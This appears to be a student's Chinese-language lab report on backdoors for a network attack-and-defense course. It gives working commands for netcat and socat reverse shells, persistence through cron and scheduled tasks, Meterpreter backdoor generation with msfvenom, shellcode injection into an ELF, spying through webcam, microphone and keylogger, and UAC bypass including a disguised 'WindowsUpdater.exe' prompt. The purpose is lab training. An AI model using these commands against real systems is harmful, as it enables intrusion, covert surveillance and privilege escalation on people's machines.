20222420 2024-2025-1 《網路與系統攻防技術》實驗二實驗報告

SAltria發表於2024-10-21

20222420 2024-2025-1 《網路與系統攻防技術》實驗二實驗報告

1.實驗內容

1.1 本週學習內容

1.1.1 後門介紹
  • 後門概念:不經過正常認證流程而訪問系統的通道
  • 後門型別:編譯器、作業系統、應用程式中的後門,潛伏於OS或偽裝成APP的後門程式
1.1.2 後門案例
  • 編譯器後門:Xcode
  • 作業系統後門:shellshock
  • 韌體後門:BIOS中隱藏Telnet後門、印表機後門
  • 硬體後門:Meltdown漏洞(CPU漏洞)
  • 應用程式後門:舊版本的華碩軟體、SolarWinds旗下的Orion網路監控軟體、Log4shell漏洞
1.1.3 後門技術
  • 管控功能實現技術
  • 自啟動技術
  • 程序隱藏技術

1.2 實驗任務

  • 使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定)
  • 使用socat獲取主機操作Shell, 任務計劃啟動
  • 使用MSF meterpreter(或其他軟體)生成可執行檔案(後門),利用ncat或socat傳送到主機並執行獲取主機Shell
  • 使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容的後門,並嘗試提權
  • 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell

2.問題回答

  • 例舉你能想到的一個後門進入到你係統中的可能方式?
    非正規渠道下載Photoshop。
  • 例舉你知道的後門如何啟動起來(win及linux)的方式?
    windows下設定任務計劃,linux下設定cron。
  • Meterpreter有哪些給你映像深刻的功能?
    能獲取目標主機的shell,能啟用目標主機的攝像頭並傳回拍攝的照片,能啟用目標主機的錄音器並傳回錄製的音訊,能獲取目標主機的擊鍵記錄,能在一定情況下提升在目標主機中的許可權。
  • 如何發現自己有系統有沒有被安裝後門?
    檢視程序,抓包分析,專業防毒軟體掃描,檢視任務計劃表。

3.實驗過程

3.1 設定linux的cron,windows使用netcat獲取linux的Shell

  • 在不設定linux的cron的情況下,windows使用netcat獲取linux的Shell
    使用反彈連線:攻擊者windows設定監聽埠,被害主機linux發起請求並將標準輸入輸出重定向到該埠
    • 攻擊者windows設定監聽埠
      ncat -l -p 2420 # ncat代表netcat;-l代表監聽;-p代表埠,其後為埠號
    • 被害主機linux發起請求
      nc 192.168.1.114 2420 -e /bin/sh # nc代表netcat,其後為攻擊者的IP和監聽埠;-e代表指定一個程式來執行,該程式的標準輸入、輸出和錯誤輸出將被重定向到網路連線上,其後為指定的程式
    • 結果:透過以上配置,在不設定linux的cron的情況下,windows使用netcat成功獲取linux的Shell。
  • 在設定linux的cron的情況下,windows使用netcat獲取linux的Shell
    • 攻擊者windows設定監聽埠
      ncat -l -p 2420 # ncat代表netcat;-l代表監聽;-p代表埠,其後為埠號
    • 被害主機linux設定cron,定時發起請求
      • crontab -e # (建立並)開啟crontab檔案,其用於定義定時任務
      • 選擇vim.basic編輯器
      • 在檔案的最下面新增一行crontab條目
        敲擊i以進入編輯模式,敲擊ESC退出編輯模式,在檢視模式下輸入:wq以儲存並退出。
        * * * * * nc 192.168.150.1 2420 -e /bin/sh # 第一個代表每分鐘,第二個代表每小時,第三個代表每日,第四個代表每月,第五個代表不分星期幾;每個均可以替換為具體的時間。其後跟著被害主機linux發起請求的命令。
    • 結果:透過以上配置,在設定linux的cron的情況下,windows使用netcat成功獲取linux的Shell。
      雖然linux上並未有反應但windows已經獲取了linux的Shell

3.2 設定windows的任務計劃,linux使用socat獲取windows的Shell

  • 在不設定windows的任務計劃的情況下,linux使用socat獲取windows的Shell
    使用反彈連線:攻擊者linux設定監聽埠,被害主機windows發起請求並將標準輸入輸出重定向到該埠
    • 攻擊者linux設定監聽埠
      socat TCP-LISTEN:2420 # TCP-LISTEN:代表監聽TCP連線,其後為埠號
    • 被害主機windows發起請求
      \Users\86199\Desktop\socat\socat\socat.exe exec:cmd.exe,pty,stderr TCP:192.168.150.172:2420 # 將cmd.exe的輸入輸出重定向到192.168.150.1的2420埠
    • 結果:透過以上配置,在不設定windows的任務計劃的情況下,linux使用socat成功獲取windows的Shell。
  • 在設定windows的任務計劃的情況下,linux使用socat獲取windows的Shell
    • 攻擊者linux設定監聽埠
      socat TCP-LISTEN:2420 - # TCP-LISTEN:代表監聽TCP連線,其後為埠號
    • 被害主機windows設定任務計劃,定時發起請求
      • 開啟“計算機管理”->“系統工具”->“任務計劃程式”,點選“建立任務”
      • 在“觸發器”下設定觸發時間,在“操作”下設定軟體和引數,最後點選確定
        引數為exec:powershell.exe,pipes TCP:192.168.150.172:2420

    • 結果:透過以上配置,在不設定windows的任務計劃的情況下,linux使用socat成功獲取windows的Shell。

3.3 使用MSF meterpreter生成可執行檔案(後門),利用ncat或socat傳送到windows並執行,獲取windows的Shell

  • 攻擊者linux下使用命令msfvenom生成一個.exe格式的後門程式
    被害主機windows執行該程式時發起請求,連線到LHOST指定的IP和LPORT指定的埠
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor.exe # -p代表有效載荷型別,以確定用途;LHOST、LPORT代表監聽者即攻擊者的IP地址、埠;-f代表輸出格式;>將msfvenom命令的輸出重定向到一個名為20222420_backdoor.exe的檔案
  • 使用netcat將後門程式傳送到Windows
    windows監聽(使用cmd)並將資料儲存:ncat -l -p 2420 > \Users\86199\Desktop\20222420_backdoor.exe
    linux請求並將資料傳送:nc 192.168.1.101 2420 < 20222420_backdoor.exe
  • 攻擊者linux使用MSF監聽
    msfconsole
    use exploit/multi/handler # 進入監聽模組
    set payload windows/x64/meterpreter/reverse_tcp # 設定攻擊載荷為64位Windows的反彈TCP連線
    set LHOST 192.168.150.172 # 設定攻擊者的IP地址,請與後門程式的LHOST引數保持一致
    set LPORT 2420 # 設定埠號 # 設定攻擊者的PORT,請與後門程式的LPORT引數保持一致
    exploit
  • 被害主機windows執行後門程式,被獲取shell

3.4 利用後門,使用MSF meterpreter獲取windows的錄音、攝像功能和擊鍵記錄,並嘗試提權

  • 獲取被害主機windows的錄音功能
    record_mic -d 5 # -d 5代表錄製5秒
  • 獲取被害主機windows的攝像功能
    webcam_snap
  • 獲取被害主機windows的擊鍵記錄
    keyscan_start # 開始記錄鍵盤敲擊記錄
    keyscan_dump # 顯示捕捉到的鍵盤記錄資訊
    keyscan_stop # 停止記錄鍵盤敲擊記錄
  • 提升在被害主機windows中的許可權
    提權命令為getsystem,但因Windows的UAC(使用者賬戶控制)阻止程式執行有關係統更改的任務而無法成功。在shell下輸入whoami可知當前為普通使用者
    • 方法一,被害主機windows主動以管理員身份執行後門程式

    • 方法二,使用exploit/windows/local/ask模組,向windows詢問許可權
      background # 將連線會話放到後臺
      use exploit/windows/local/ask # 使用請求模組
      set session 1 # 表示接下來的操作將針對編號為1的會話(即background的會話)進行
      set FILENAME WindowsUpdater.exe # 將顯示的請求者設定為WindowsUpdater.exe
      run # 執行,將在windows中彈出請求


      被害者點選“是”後,攻擊者便可以提升許可權了
    • 方法三,透過FodHelper登錄檔項,使用exploit/windows/local/bypassuac_fodhelper模組
      use exploit/windows/local/bypassuac_fodhelper
      run

      結果驗證如下:第一次在shell中輸入whoami顯示為普通使用者,但再次getsystem顯示已經獲取許可權。於是再次在shell中輸入whoami,這次成功顯示為system許可權

3.5 使用MSF meterpreter生成shellcode,注入到實驗1的pwn1,獲取反彈連線Shell

因為pwn1是elf格式的可執行檔案只能在Linux上執行,所以決定用linux攻擊linux。

  • 在攻擊者下使用MSF meterpreter生成shellcode,注入到實驗1的pwn1
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.150.172 LPORT=2420 -x pwn1 -f elf > pwn2-20222420

  • 攻擊者使用MSF監聽,被害者執行被注入後的檔案,獲取被害主機的shell
    msfconsole
    use exploit/multi/handler # 進入監聽模組
    set payload linux/x86/meterpreter/reverse_tcp # 設定攻擊載荷為32位Windows的反彈TCP連線
    set LHOST 192.168.150.172 # 設定攻擊者的IP地址,請與後門程式的LHOST引數保持一致
    set LPORT 2420 # 設定埠號 # 設定攻擊者的PORT,請與後門程式的LPORT引數保持一致
    exploit
    再開一個終端或一個kali虛擬機器,執行被注入後的檔案,結果如下,攻擊成功

4.問題及解決方案

  • 問題1:第二部分windows主動連線到攻擊者linux後彈窗並顯示警告。
  • 問題1解決方案:經過嘗試,發現並不影響linux獲取windows的shell。
  • 問題2:將後門傳輸到windows後發現無法執行。
  • 問題2解決方案:經過查詢發現是因為windows透過powershell接收後相對原檔案有變化,改用cmd終端接收後就正常了。
  • 問題3:第四部分嘗試提權時發現無法透過exploit/windows/local/bypassuac_injection模組進行記憶體注入。
  • 問題3解決方案:透過報錯資訊知曉這一模組對於windows10以上的系統不適用,於是改用登錄檔項繞過Windows UAC保護。

5.學習感悟、思考等

從使用netcat和socat獲取主機操作Shell,到利用cron和任務計劃啟動自定義任務,再到使用MSF meterpreter生成後門並執行各種功能,這一系列操作不僅讓我對網路安全攻擊手段有了更直觀的認識,也提升了我的實戰技能。在實驗過程中,我遇到了不少挑戰,但透過網上大量的資料,我成功解決了遇到的問題並學習到了更加豐富的知識。
透過這次實驗,我深刻認識到了網路安全的重要性和複雜性。網路攻擊者可以利用各種手段和技術來攻擊我們的系統,竊取我們的資訊,控制我們的攝像頭、錄音器等,甚至還能提升自己的許可權。同時,我也深刻體會到了學習和實踐的重要性。在面對網路安全時,僅僅依靠書本上的理論知識是遠遠不夠的,必須透過實踐來加深對知識的理解,透過實戰來鍛鍊自己的技能。

參考資料

  • Bypass-UAC(使用者帳戶控制)的那些事
  • 0x21_MAL_後門原理與實踐

相關文章